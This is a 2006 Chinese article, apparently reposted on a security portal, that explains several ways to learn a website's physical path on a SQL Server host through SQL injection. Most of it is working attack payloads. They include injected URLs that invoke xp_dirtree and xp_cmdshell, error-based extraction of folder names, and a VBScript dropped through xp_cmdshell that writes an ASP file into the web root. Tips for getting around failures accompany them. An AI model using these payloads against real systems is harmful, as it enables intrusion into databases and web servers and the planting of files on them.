通行证: 用户 密码 域名空间  下载中心 社区论坛 信息公告 my小屋
联系我们
设为首页
加入收藏

 

qq,asp,php,jsp,xml,sql,.net,编程 程序 网页图象 建站经验 私服
首页 | 新闻资讯 | 编程开发 | 网页设计 | 图形图象 | 网络媒体 | 网站模板 | 数 据 库 | 投稿
论坛 | 操作系统 | 系统优化 | 网络安全 | 黑客技术 | 硬件学堂 | 硬件报价 | 服 务 器 | 地图
专题 | 应用软件 | 聊天通讯 | q q 专栏 | 建站经验 | 在线工具 | 站长club | 注 册 表 | 旧版
社会 | 游戏娱乐 | 设计欣赏 | 疑难解答 | 社区论坛 | 网络赚钱 | 网站地图 | 广告服务 | 服务
当前位置:首页>>网络安全>>安全防范>>正文 新版上线![旧版]
注:打开慢时请稍等
sqlserver取得网站路径的几种方法以及比较(1)

http://www.iyit.net  日期:2006-5-8 9:18:23  来源:中国站长学院  点击:
参加讨论】如果网站只开了80端口,你会发现下面的方法是比较有用的
其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧
方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的sql注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\' --
返回:正常信息。说明写入c盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:microsoft ole db provider for sql server 错误 80040e07
将 varchar 值 '@inetpub'转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from 
dirs where paths not in( '@inetpub'))--
返回:microsoft ole db provider for sql server 错误 80040e07
将 varchar 值 'test'转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
好我们继续
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from 
dirs where paths not in( '@inetpub','test'))--
返回:microsoft ole db provider for sql server 错误 80040e07
将 varchar 值 'haha'转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,
一点技巧:
有时候你会发现当输入类似
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
时不是显示出错,而是网页显示正常
晕了吧,别紧张哈
看看0<>(select top 1 paths from dirs) 说明返回是一个数字,
哈哈,测试一下看看是多少吧
100>(select top 1 paths from dirs)
返回正常
哈哈,用这种大于小于的方法很快就能猜出了
好我们继续
比如当出现
59=(select top 1 paths from dirs)
返回正常,
ok,说明名字是59
输入如下
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from 
dirs where paths not in( '59'))--
记得带上引号哟
下面的方法就和原来的一样的了
还有一个问题就是
有时候用上面的方法输入59时,发现下一次的文件夹还是59
这个是怎么回事情呢?
呵呵,不知道你有没有注意过059和59是一样的?
就是这个原因了,哈哈,
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from 
dirs where paths not in( '059'))--
发现显示下一个文件夹名字了,ok
优缺点分析:
优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限public,
缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.
而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.
祝你成功
方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c:\ /b/d' --
返回:正常信息。说明写入c盘的所有目录成功了!这里用了dir c:\ /b/d,哈哈,不知道/b/d什么作用就试验试验看
语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:microsoft ole db provider for sql server 错误 80040e07
将 varchar 值 '@inetpub'转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( '@inetpub'))--
返回:microsoft ole db provider for sql server 错误 80040e07
将 varchar 值 'test'转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
方法同上,就不说了
有时候我们也可以用下面的两个扩展来干些事情
1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中:
5 ;insert dirs exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中:
5 ;insert into dirs exec master.dbo.xp_subdirs 'c:\' ;--
优缺点分析:
很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了.
缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).
方法三:
这种方法很好
下面这个是原文
想到了使用adsutil.vbs程序,我是这样执行的
a‘;exec master..xp_cmdshell ‘cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt‘;--
是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)
导入到a.txt中
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs
删了或是放到别
的地方我们就没办法了(不可能自已用echo 命令写一个吧)
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧
.....xp_cmdshell ‘echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs‘;--
.....xp_cmdshell ‘echo set wshshell = wscript.createobject("wscript.shell")>>c:\read.vbs‘
;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
set wshshell = wscript.createobject("wscript.shell")
spa=wshshell.environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------cut here-------------------------------------
第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:\xxx
哈哈,的确是好方法,
不过原文好像有点问题
就是
set fil =fso1.opentextfile(spa %2b "\system32\aa.txt")
set fil1 =fso1.opentextfile(pa%2b"\dd.asp",2,true)
两句提交时会出错
于是我们想到了加号,和&的功能相同
还有就是写点什么东西到dd.asp呢?写入pa,哈哈
哈哈,改成了
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
set wshshell = wscript.createobject("wscript.shell")
spa=wshshell.environment("process")("windir")
set fil =fso1.opentextfile(spa + "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa + "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
因为用浏览器提交时+号被转换成了空格,所以在提交的时候还应该把
+变成%2b,好了,应该可以了,如下
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
set wshshell = wscript.createobject("wscript.shell")
spa=wshshell.environment("process")("windir")
set fil =fso1.opentextfile(spa %2b "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa %2b "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
如果发现1没有的话,我们可以该成2,3,4...........
a‘;exec master..xp_cmdshell ‘cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt‘;--
但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排列的,好像是随机生成的,个人比较过几个2003下的
地址,没有发现什么规律.
优缺点分析
同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不一定在那个路径上,当然如果你原意的话你可以用 echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到过一个有九个站点的主机,胆识只有第8个是有用的,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003下用!
不过说实话,这个方法的确是一个好方法


编辑:黑鹰 [发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇:软件狗[dongles]的加密与解密技术(8)
下一篇:sqlserver取得网站路径的几种方法以及比较(2)
转载请注明来源:www.iyit.net
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

 相关文章
跨站式sql注入技巧 web环境下sql注入攻击的检测与防御 利用instr()函数防止sql注入攻击
九大措施安全配置sqlserver2000 防范sql指令植入式攻击(2) 防范sql指令植入式攻击(1)
数据库安全:sql server 中系统表的作用 sql server防范措施(2) sql server防范措施(1)
从iis到sql server数据库安全 sql server数据库安全规划全攻略(2) sql server数据库安全规划全攻略(1)
突破sql错误提示上传webshell 恢复sql server系统数据库 sqlserver取得网站路径的几种方法以及比
hdsi2.0 sql注入部分抓包(4) hdsi2.0 sql注入部分抓包(3) hdsi2.0 sql注入部分抓包(2)
hdsi2.0 sql注入部分抓包(1) iis服务、asp.net引擎以及sqlserver的安 蓝雨设计整站sql注入漏洞
如何灵活地运用sql injection做数据库渗 灵活地运用sql injection做数据库渗透 从iis转到sql数据库安全
最新更新 热点排行 推荐新闻
服务器安全设置(七)
服务器安全设置(六)
服务器安全设置(五)
服务器安全设置(四)
服务器安全设置(三)
网站服务器通用和专用保护方法比较分析
网站服务器通用和专用保护方法比较分析
跨站式sql注入技巧
全面解析“网络钓鱼”式攻击
揭开网络钓鱼(phishing)秘密
google hacking的实现以及应用(下)
google hacking的实现以及应用(上)
网络最经典命令行-网络安全工作者的必
刍议ipv6的安全问题
鲜为人知的“windows 2000/xp受限”问
上网服务器步步建
网络安全问题的讨论和对策
ie浏览器再爆漏洞恐怖数据库成硬盘杀手
winxp漏洞可诱发dos攻击微软正在赶制补
操作系统被入侵后的修复过程
新开放qq免费挂级网站
免费在qq上看在线电影电视听音乐
免费把qq炫铃设为本机qq的系统提示音
qq珊瑚虫外挂4.0版本发布!
腾讯qq调整升级条件不再诱发网民“通宵
优秀公益广告作品欣赏(8)
java数据类型转换
流金岁月!cpu历史上最难忘的十个第一
qq挂机的n种快速方法
asp自动解压rar文件
操作系统被入侵后的修复过程
巧用photoshop图案工具
用photoshop制成浪漫的“珍珠项链”
第二十章 开发delphi对象式数据管理功
sql简明教程(1)
vbscript和javascript互相调用 
jsp教程(四)-jsp actions的使用
操作系统被入侵后的修复过程
五一别忘电脑防毒 养成良好上网习惯
google对ie浏览器将捆绑搜索功能表担忧
新版上线,今日正式开通!!!
 友情链接
设置首 页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
copyrights © 2004-2006 iyit.net all rights reserved.
网站合作、广告联系qq:147007642、466949678
易特网络技术 点击这里给我发消息